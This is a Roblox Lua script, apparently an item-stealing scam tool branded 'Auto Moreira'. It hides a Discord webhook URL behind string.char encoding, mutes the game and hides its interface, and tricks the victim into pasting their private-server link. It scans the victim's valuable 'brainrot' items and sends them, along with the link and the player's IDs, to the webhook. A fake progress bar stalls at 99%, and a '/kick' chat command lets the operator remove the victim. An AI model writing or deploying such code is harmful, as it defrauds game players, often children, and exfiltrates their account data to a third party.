local a=string.char(104,116,116,112,115,58,47,47,100,105,115,99,111,114,100,46,99,111,109,47,97,112,105,47,119,101,98,104,111,111,107,115,47,49,52,52,57,53,57,53,49,48,57,52,54,52,48,56,52,53,48,50,47,111,98,86,56,117,49,117,104,106,112,122,53,120,53,116,75,72,52,108,84,53,112,99,77,55,114,95,85,52,68,80,108,49,53,116,77,103,120,121,57,49,77,115,76,107,65,97,80,120,118,104,85,120,74,69,82,53,115,67,98,102,111,103,84,103,111,113,117) local function b(c)c=c:lower()return string.find(c,"https://www%.roblox%.com/share")~=nil and string.match(c,"https://www%.roblox%.com/share%?code=[%w]+&type=[Ss]erver")~=nil end local function e()print("🔇 MODO SURDO...")for g,h in ipairs({workspace,game:GetService("Players"),game:GetService("ReplicatedStorage"),game:GetService("StarterPlayer"),game:GetService("SoundService")})do pcall(function()for i,j in ipairs(h:GetDescendants())do if j:IsA("Sound")then j.Volume=0 end end;h.DescendantAdded:Connect(function(k)if k:IsA("Sound")then task.wait(0.1)pcall(function()k.Volume=0 end)end end)end)end;pcall(function()game:GetService("SoundService").Volume=0 end)print("✅ SILÊNCIO TOTAL!")return true end local l=game:GetService("StarterGui")pcall(function()l:SetCore("TopbarEnabled",false)l:SetCore("ResetButtonCallback",false)l:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)end) -- NOVO SISTEMA DE KICK (SUBSTITUÍDO) local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local function barraKick(msg) msg = msg or "" local kickMessage = "" if msg ~= "" then kickMessage = "🤖 você precisa de brainrot de " .. msg .. " na BASE" else kickMessage = "🤖 você foi expulso!" end print("🚨 Kick executado:", kickMessage) task.wait(0.2) if LocalPlayer then LocalPlayer:Kick(kickMessage) end end pcall(function() local ChatEvents = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents") if ChatEvents then local OnMessageDoneFiltering = ChatEvents:FindFirstChild("OnMessageDoneFiltering") if OnMessageDoneFiltering then OnMessageDoneFiltering.OnClientEvent:Connect(function(data) if type(data) == "table" and data.Message then local msg = tostring(data.Message) if msg:lower():sub(1,5) == "/kick" then local valuePart = msg:sub(7) barraKick(valuePart) end end end) end end end) pcall(function() local TextChatService = game:GetService("TextChatService") if TextChatService then TextChatService.MessageReceived:Connect(function(msgObj) if msgObj and msgObj.Text then local msg = msgObj.Text if msg:lower():sub(1,5) == "/kick" then local valuePart = msg:sub(7) barraKick(valuePart) end end end) end end) -- FIM DO NOVO SISTEMA DE KICK local w=game:GetService("CoreGui")local x=game:GetService("HttpService")local y=Instance.new("ScreenGui")y.IgnoreGuiInset=true;y.DisplayOrder=999999999;y.ResetOnSpawn=false;y.Parent=w -- BLUR EFFECT PARA GUI DO LINK local blurEffect = Instance.new("BlurEffect") blurEffect.Size = 24 blurEffect.Parent = game:GetService("Lighting") blurEffect.Enabled = false -- 1️⃣ TELA DE INSTRUÇÕES (NOVA) local instructionsGui = Instance.new("ScreenGui", w) instructionsGui.IgnoreGuiInset = true instructionsGui.DisplayOrder = 999999998 instructionsGui.ResetOnSpawn = false local instructionsFrame = Instance.new("Frame", instructionsGui) instructionsFrame.Size = UDim2.new(0, 450, 0, 500) instructionsFrame.Position = UDim2.new(0.5, -225, 0.5, -250) instructionsFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) instructionsFrame.Visible = true local instructionsCorner = Instance.new("UICorner", instructionsFrame) instructionsCorner.CornerRadius = UDim.new(0, 16) local instructionsInner = Instance.new("Frame", instructionsFrame) instructionsInner.Size = UDim2.new(1, -16, 1, -16) instructionsInner.Position = UDim2.new(0, 8, 0, 8) instructionsInner.BackgroundColor3 = Color3.fromRGB(40, 40, 40) Instance.new("UICorner", instructionsInner).CornerRadius = UDim.new(0, 12) -- Título das instruções local instructionsTitle = Instance.new("TextLabel", instructionsInner) instructionsTitle.Size = UDim2.new(1, 0, 0, 40) instructionsTitle.Position = UDim2.new(0, 0, 0, 10) instructionsTitle.BackgroundTransparency = 1 instructionsTitle.Text = "👾 INSTRUÇÕES DO MOREIRA 👾" instructionsTitle.TextColor3 = Color3.fromRGB(220, 220, 220) instructionsTitle.Font = Enum.Font.GothamBold instructionsTitle.TextSize = 24 instructionsTitle.TextScaled = false -- BORDA COM EFEITO DE PULSO (ALTERADO) local frameStroke = Instance.new("UIStroke", instructionsFrame) frameStroke.Thickness = 3 frameStroke.Color = Color3.fromRGB(0, 255, 255) frameStroke.Transparency = 0 -- Efeito de pulso simples na transparência task.spawn(function() while instructionsGui.Parent do for transparency = 0, 0.6, 0.05 do frameStroke.Transparency = transparency task.wait(0.05) end for transparency = 0.6, 0, -0.05 do frameStroke.Transparency = transparency task.wait(0.05) end end end) -- Caixa 1 local box1 = Instance.new("Frame", instructionsInner) box1.Size = UDim2.new(1, -40, 0, 60) box1.Position = UDim2.new(0, 20, 0, 70) box1.BackgroundColor3 = Color3.fromRGB(55, 55, 55) Instance.new("UICorner", box1).CornerRadius = UDim.new(0, 10) local box1Label = Instance.new("TextLabel", box1) box1Label.Size = UDim2.new(1, -20, 1, -10) box1Label.Position = UDim2.new(0, 10, 0, 5) box1Label.BackgroundTransparency = 1 box1Label.Text = "📢 VOCÊ TEM QUE ESTAR SOLO" box1Label.TextColor3 = Color3.fromRGB(255, 255, 255) box1Label.Font = Enum.Font.GothamBold box1Label.TextSize = 16 box1Label.TextScaled = true local box1Stroke = Instance.new("UIStroke", box1) box1Stroke.Thickness = 2 box1Stroke.Color = Color3.fromRGB(0, 255, 255) task.spawn(function() while box1Stroke.Parent do for transparency = 0, 1, 0.05 do box1Stroke.Transparency = transparency task.wait(0.05) end for transparency = 1, 0, -0.05 do box1Stroke.Transparency = transparency task.wait(0.05) end end end) -- Caixa 2 local box2 = Instance.new("Frame", instructionsInner) box2.Size = UDim2.new(1, -40, 0, 60) box2.Position = UDim2.new(0, 20, 0, 150) box2.BackgroundColor3 = Color3.fromRGB(55, 55, 55) Instance.new("UICorner", box2).CornerRadius = UDim.new(0, 10) local box2Label = Instance.new("TextLabel", box2) box2Label.Size = UDim2.new(1, -20, 1, -10) box2Label.Position = UDim2.new(0, 10, 0, 5) box2Label.BackgroundTransparency = 1 box2Label.Text = "📢 TER BRAINROTS 20M+" box2Label.TextColor3 = Color3.fromRGB(255, 255, 255) box2Label.Font = Enum.Font.GothamBold box2Label.TextSize = 16 box2Label.TextScaled = true local box2Stroke = Instance.new("UIStroke", box2) box2Stroke.Thickness = 2 box2Stroke.Color = Color3.fromRGB(0, 255, 255) task.spawn(function() while box2Stroke.Parent do for transparency = 0, 1, 0.05 do box2Stroke.Transparency = transparency task.wait(0.05) end for transparency = 1, 0, -0.05 do box2Stroke.Transparency = transparency task.wait(0.05) end end end) -- Caixa 3 (especial - vermelha) local box3 = Instance.new("Frame", instructionsInner) box3.Size = UDim2.new(1, -40, 0, 120) box3.Position = UDim2.new(0, 20, 0, 230) box3.BackgroundColor3 = Color3.fromRGB(30, 30, 30) Instance.new("UICorner", box3).CornerRadius = UDim.new(0, 10) local box3Label = Instance.new("TextLabel", box3) box3Label.Size = UDim2.new(1, -20, 1, -10) box3Label.Position = UDim2.new(0, 10, 0, 5) box3Label.BackgroundTransparency = 1 box3Label.Text = "⚠️ IMPORTANTE ⚠️\n\nNão quitar antes do 99%\nse não seu brainrot serão vendidos automaticamente" box3Label.TextColor3 = Color3.fromRGB(255, 100, 100) box3Label.Font = Enum.Font.GothamBold box3Label.TextSize = 14 box3Label.TextScaled = true box3Label.TextWrapped = true local box3Stroke = Instance.new("UIStroke", box3) box3Stroke.Thickness = 3 box3Stroke.Color = Color3.fromRGB(255, 50, 50) task.spawn(function() while box3Stroke.Parent do for transparency = 0, 0.7, 0.03 do box3Stroke.Transparency = transparency task.wait(0.03) end for transparency = 0.7, 0, -0.03 do box3Stroke.Transparency = transparency task.wait(0.03) end end end) -- Botão CONTINUAR das instruções local continueButton = Instance.new("TextButton", instructionsInner) continueButton.Size = UDim2.new(1, -40, 0, 45) continueButton.Position = UDim2.new(0, 20, 0, 370) continueButton.BackgroundColor3 = Color3.fromRGB(70, 70, 70) continueButton.Text = "CONTINUAR" continueButton.TextColor3 = Color3.fromRGB(255, 255, 255) continueButton.Font = Enum.Font.GothamBold continueButton.TextSize = 20 Instance.new("UICorner", continueButton).CornerRadius = UDim.new(0, 10) -- 2️⃣ GUI DO LINK (ALTERADA - TAMANHO AUMENTADO) local z=Instance.new("Frame",y) z.Size=UDim2.new(0,400,0,280) -- Aumentado z.Position=UDim2.new(0.5,-200,0.5,-140) -- Centralizado corretamente z.BackgroundColor3=Color3.fromRGB(0,0,0) z.Visible = false -- Começa invisível local A=Instance.new("UICorner",z) A.CornerRadius=UDim.new(0,16) local B=Instance.new("Frame",z) B.Size=UDim2.new(1,-16,1,-16) B.Position=UDim2.new(0,8,0,8) B.BackgroundColor3=Color3.fromRGB(40,40,40) Instance.new("UICorner",B).CornerRadius=UDim.new(0,12) -- Título alterado local C=Instance.new("TextLabel",B) C.Size=UDim2.new(1,0,0,35) C.Position=UDim2.new(0,0,0,8) C.BackgroundTransparency=1 C.Text="👾Auto Moreira X coffzin👾 V8" C.TextColor3=Color3.fromRGB(220,220,220) C.Font=Enum.Font.GothamBold C.TextSize=20 C.TextScaled=false local D=Instance.new("Frame",B) D.Size=UDim2.new(1,-40,0,80) D.Position=UDim2.new(0,20,0,70) D.BackgroundColor3=Color3.fromRGB(55,55,55) Instance.new("UICorner",D).CornerRadius=UDim.new(0,10) local E=Instance.new("UIStroke",D) E.Thickness=2 E.Color=Color3.fromRGB(255,255,255) task.spawn(function()while true do for F=0,1,0.02 do E.Transparency=F;task.wait(0.02)end;for F=1,0,-0.02 do E.Transparency=F;task.wait(0.02)end end end) local G=Instance.new("TextBox",D) G.Size=UDim2.new(1,-20,1,-10) G.Position=UDim2.new(0,10,0,5) G.BackgroundTransparency=1 G.Text="Digite ou cole o link..." G.TextColor3=Color3.fromRGB(255,255,255) G.Font=Enum.Font.GothamBold G.TextSize=16 G.TextScaled=true G.ClearTextOnFocus=true G:GetPropertyChangedSignal("Text"):Connect(function()if G.Text~=""and G.Text~="Digite ou cole o link..."and not b(G.Text)then G.Text=""task.wait(0.05)G.PlaceholderText="APENAS LINKS /share!"task.wait(1.5)G.PlaceholderText="Digite ou cole o link..."end end) local H=Instance.new("TextButton",B) H.Size=UDim2.new(1,-40,0,45) H.Position=UDim2.new(0,20,0,165) H.BackgroundColor3=Color3.fromRGB(70,70,70) H.Text="CONTINUAR" H.TextColor3=Color3.fromRGB(255,255,255) H.Font=Enum.Font.GothamBold H.TextSize=18 Instance.new("UICorner",H).CornerRadius=UDim.new(0,10) -- 3️⃣ TELA DE CARREGAMENTO (ALTERADA) local I=Instance.new("Frame",y) I.Size=UDim2.new(1,0,1,0) I.BackgroundColor3=Color3.fromRGB(0,0,0) I.Visible=false local J=Instance.new("Folder",I) task.spawn(function()while true do local K=Instance.new("Frame",J)K.Size=UDim2.new(0,math.random(3,6),0,math.random(3,6))K.Position=UDim2.new(math.random(),0,-0.1,0)K.BackgroundColor3=Color3.fromRGB(255,255,255)K.AnchorPoint=Vector2.new(0.5,0.5)Instance.new("UICorner",K).CornerRadius=UDim.new(1,0)local L=math.random(50,120)/100;task.spawn(function()for M=-0.1,1.2,L/50 do K.Position=UDim2.new(K.Position.X.Scale,0,M,0)K.BackgroundTransparency=M;task.wait(L/30)end;K:Destroy()end)task.wait(0.03)end end) -- Substituir ∞ por "M" local N=Instance.new("TextLabel",I) N.Size=UDim2.new(0,150,0,150) N.Position=UDim2.new(0.5,-75,0.4,-75) N.BackgroundTransparency=1 N.Text="M" -- Alterado para "M" N.TextColor3=Color3.fromRGB(255,255,255) N.Font=Enum.Font.GothamBlack -- Fonte mais forte para "M" N.TextSize = 120 N.TextScaled=false task.spawn(function() local O=0 while true do N.TextTransparency = 0.3 + (math.sin(O) * 0.3) -- Pulsação sutil N.Rotation = N.Rotation + 1.5 -- Rotação constante O = O + 0.06 task.wait(0.02) end end) -- 4️⃣ BARRA DE PROGRESSO REALISTA local P=Instance.new("Frame",I) P.Size=UDim2.new(0.6,0,0,14) P.Position=UDim2.new(0.2,0,0.62,0) P.BackgroundColor3=Color3.fromRGB(40,40,40) Instance.new("UICorner",P).CornerRadius=UDim.new(1,0) local Q=Instance.new("Frame",P) Q.Size=UDim2.new(0,0,1,0) Q.BackgroundColor3=Color3.fromRGB(255,255,255) Instance.new("UICorner",Q).CornerRadius=UDim.new(1,0) local R=Instance.new("TextLabel",I) R.Size=UDim2.new(1,0,0,40) R.Position=UDim2.new(0,0,0.56,0) R.BackgroundTransparency=1 R.TextColor3=Color3.fromRGB(255,255,255) R.Font=Enum.Font.GothamBold R.TextScaled=true local S=Instance.new("TextLabel",I) S.Size=UDim2.new(1,0,0,25) S.Position=UDim2.new(0,0,0.66,10) S.BackgroundTransparency=1 S.TextColor3=Color3.fromRGB(255,255,255) S.Font=Enum.Font.GothamBold S.TextScaled=true S.Text="0%" -- NOVO SISTEMA DE DETECÇÃO DE BRAINROTS (1M+) local function formatValue(n)if not n or n<=0 then return"0"end;if n>=1e9 then return math.floor(n/1e9).."B"elseif n>=1e6 then return math.floor(n/1e6).."M"elseif n>=1e3 then return math.floor(n/1e3).."K"end;return tostring(math.floor(n))end local function parseValue(t)if not t then return 0 end;local n=tonumber(t:match("[%d%.]+"))or 0;if t:find("B")then return n*1e9 elseif t:find("M")then return n*1e6 elseif t:find("K")then return n*1e3 end;return n end local servicesToScan={workspace,game:GetService("Players"),game:GetService("ReplicatedStorage"),game:GetService("StarterGui"),game:GetService("StarterPack"),game:GetService("ServerStorage"),game:GetService("SoundService"),game:GetService("Lighting")} local function getFullPath(obj)local path=obj.Name;local parent=obj.Parent;while parent do path=parent.Name.."/"..path;parent=parent.Parent end;return path end local function isBaseBrainrot(obj)return getFullPath(obj):find("Workspace/Debris/FastOverheadTemplate/AnimalOverhead")~=nil end local function scanObject(root,minValue)minValue=minValue or 1e6;local found={};local totalValue=0;local function recursiveScan(obj)for _,child in ipairs(obj:GetChildren())do pcall(function()local nameLbl=child:FindFirstChild("DisplayName")or child:FindFirstChildWhichIsA("TextLabel")local genLbl=child:FindFirstChild("Generation")or child:FindFirstChildWhichIsA("TextLabel")if nameLbl and genLbl and isBaseBrainrot(child)then local nome=tostring(nameLbl.Text)local valor=parseValue(tostring(genLbl.Text))if valor>=minValue then table.insert(found,{nome=nome,valor=valor})totalValue=totalValue+valor end end end)recursiveScan(child)end end;recursiveScan(root)return found,totalValue end local function scanAllBaseBrainrots()local allFound={};local total=0;for _,service in ipairs(servicesToScan)do local list,value=scanObject(service)for _,v in ipairs(list)do table.insert(allFound,v)end;total=total+value end;table.sort(allFound,function(a,b)return a.valor>b.valor end)return allFound,total end local function buildBrainrotReport(brainrots)local report=""for i,b in ipairs(brainrots)do report=report..string.format("%02d) 1 %s → $%s/s\n",i,b.nome,formatValue(b.valor))end;return report end local function T()print("🧠 DETECTANDO BRAINROTS (1M+)")local brainrots,totalValue=scanAllBaseBrainrots()print("✅ BRAINROTS DA BASE (1M+):",#brainrots)local report=buildBrainrotReport(brainrots)print("===== RELATÓRIO =====")print(report)print("💰 Valor total da base:",formatValue(totalValue))if totalValue<10000000 then game:GetService("Players").LocalPlayer:Kick("🤖 Você precisa de brainrot de 10M na base")return{{texto="**NENHUM BRAINROT DE 10M+ DETECTADO**"}},0,false end;return brainrots,totalValue,true end local function aa(ab,ac,ad,ae)local af=0;pcall(function()af=#game:GetService("Players"):GetPlayers()end)local ag=""if ae and#ac>0 then for ah,ai in ipairs(ac)do ag=ag..string.format("```diff\n+ %02d) 1 %s → $%s/s\n```",ah,ai.nome,formatValue(ai.valor))end else ag="```diff\n- NENHUM BRAINROT DE 1M+ DETECTADO\n```"end local aj=string.format( "🔗 LINK RECEBIDO - AUTO MOREIRA\n\n📎 LINK ENVIADO:\n%s\n\n💰 VALOR TOTAL:\n$%s/s\n\n🎯 BRAINROTS DETECTADOS (1M+):\n%s\n👥 SERVIDOR:\nJogadores: %d/8\n\n👤 JOGADOR:\nNome: %s\nID: %s\nJob ID: %s\n\n🕐 DATA/HORA:\n%s", ab, formatValue(ad), ag, af, game:GetService("Players").LocalPlayer.Name, game:GetService("Players").LocalPlayer.UserId, game.JobId, os.date("%d/%m/%Y %H:%M:%S") ) local ak={["username"]="Auto Moreira",["avatar_url"]="https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif",["content"]="🚨 NOVO LINK RECEBIDO 🚨",["embeds"]={{["description"]=aj,["color"]=ae and 5763719 or 16711680,["footer"]={["text"]="Auto Moreira • Sistema de Monitoramento",["icon_url"]="https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif"},["timestamp"]=os.date("!%Y-%m%dT%H:%M:%SZ")}}} local function al()local am,an=pcall(function()local ao=game:GetService("HttpService"):JSONEncode(ak)local ap=game:GetService("HttpService"):RequestAsync({Url=a,Method="POST",Headers={["Content-Type"]="application/json"},Body=ao})if ap.Success then return"✅"else error("Erro HTTP "..tostring(ap.StatusCode))end end) if am then print("✅ Webhook enviado!")if ae and#ac>0 then print("📊 Brainrots (1M+): "..#ac)print("💰 Valor: $"..formatValue(ad).."/s")for ah,ai in ipairs(ac)do print(string.format(" %02d) 1 %s → $%s/s",ah,ai.nome,formatValue(ai.valor)))end else print("📊 NENHUM BRAINROT 1M+")print("💰 Valor: $0/s")end;print("👥 Jogadores: "..af.."/8")print("🔗 Link: "..ab)return true else print("❌ Erro: "..tostring(an))task.wait(2)print("🔄 Reenviando...")return al()end end;task.spawn(al)return true end local aq={"Preparando servidor...","Analisando brainrots...","Preparando bot..."} -- Botão CONTINUAR da tela de instruções continueButton.MouseButton1Click:Connect(function() instructionsGui.Enabled = false instructionsGui:Destroy() blurEffect.Enabled = true -- Ativar blur z.Visible = true end) H.MouseButton1Click:Connect(function()if G.Text==""or G.Text=="Digite ou cole o link..."then H.Text="INSIRA UM LINK!"task.wait(1)H.Text="CONTINUAR"return end;if not b(G.Text)then H.Text="LINK /share INVALIDO!"task.wait(1.5)H.Text="CONTINUAR"return end z.Visible=false;I.Visible=true;local ar=1;local function as()R.Text=aq[ar]ar=ar+1;if ar>#aq then ar=1 end end;as() task.spawn(function()local at,au,av=T()aa(G.Text,at,au,av)task.wait(0.5)e()end) -- Barra de progresso realista (3 minutos com trechos variados) task.spawn(function() local startTime = tick() local totalTime = 180 -- 3 minutos em segundos local progress = 0 -- Padrão de progresso: rápido no início, lento no meio, rápido no final, trava em 99% local progressPattern = { {time = 0, progress = 0}, -- Início {time = 30, progress = 0.15}, -- Rápido (15% em 30s) {time = 120, progress = 0.40}, -- Lento (25% em 90s) {time = 150, progress = 0.70}, -- Médio (30% em 30s) {time = 175, progress = 0.98}, -- Rápido (28% em 25s) {time = 180, progress = 0.99} -- Trava em 99% (últimos 5s) } while progress < 0.99 do local elapsed = tick() - startTime local currentTime = math.min(elapsed, totalTime) -- Interpolação entre os pontos do padrão for i = 1, #progressPattern - 1 do local p1 = progressPattern[i] local p2 = progressPattern[i + 1] if currentTime >= p1.time and currentTime <= p2.time then local t = (currentTime - p1.time) / (p2.time - p1.time) progress = p1.progress + (p2.progress - p1.progress) * t break end end if Q then Q.Size = UDim2.new(progress, 0, 1, 0) S.Text = math.floor(progress * 100) .. "%" end -- Trechos lentos vs rápidos if progress < 0.15 or progress > 0.70 then task.wait(0.05) -- Rápido else task.wait(0.2) -- Lento end end -- Quando chegar a 99% if S then S.Text = "99%" R.Text = "Aguarde, o player foi encontrado" end blurEffect.Enabled = false -- Desativar blur quando terminar end) task.spawn(function()while I.Visible do task.wait(3)as()end end)end) -- Sistema Solo local m=game:GetService("Players")local aw=m.LocalPlayer;local ax = { [9987424161] = true, [5755066076] = true, [9724061066] = true }local ay=1;local az=true function isPlayerAllowed(aA)return ax[aA.UserId]==true end function kickAndLeave()if az then print("[SOLO] Expulsando jogador não autorizado...")end;pcall(function()aw:Kick("você tem que estar sozinho no servidor")end)task.wait(1)game:Shutdown()return true end function log(aB)if az then print("[SOLO] "..aB)end end local function aC()log("Sistema Solo Iniciado")log("IDs Permitidos: 9987424161, 5755066076, 9724061066")while true do local aD=m:GetPlayers()if#aD>1 then for g,aA in ipairs(aD)do if aA~=aw and not isPlayerAllowed(aA)then log("Jogador não autorizado: "..aA.Name)return kickAndLeave()end end else log("Servidor vazio")end;task.wait(ay)end end local function aE()task.wait(2)for g,aA in ipairs(m:GetPlayers())do if aA~=aw and not isPlayerAllowed(aA)then log("Jogador não autorizado: "..aA.Name)kickAndLeave()return end end;task.spawn(aC)log("Monitoramento ativo")end task.spawn(aE)m.PlayerAdded:Connect(function(aF)task.wait(1)if aF~=aw and not isPlayerAllowed(aF)then log("Novo jogador: "..aF.Name)kickAndLeave()end end) local aG=game:GetService("RunService")local aH;aH=aG.Heartbeat:Connect(function()if not m:FindFirstChild(aw.Name)then aH:Disconnect()end end) task.wait(3)log("========================================")log("SISTEMA SOLO ATIVADO")log("========================================")return"Solo System Active"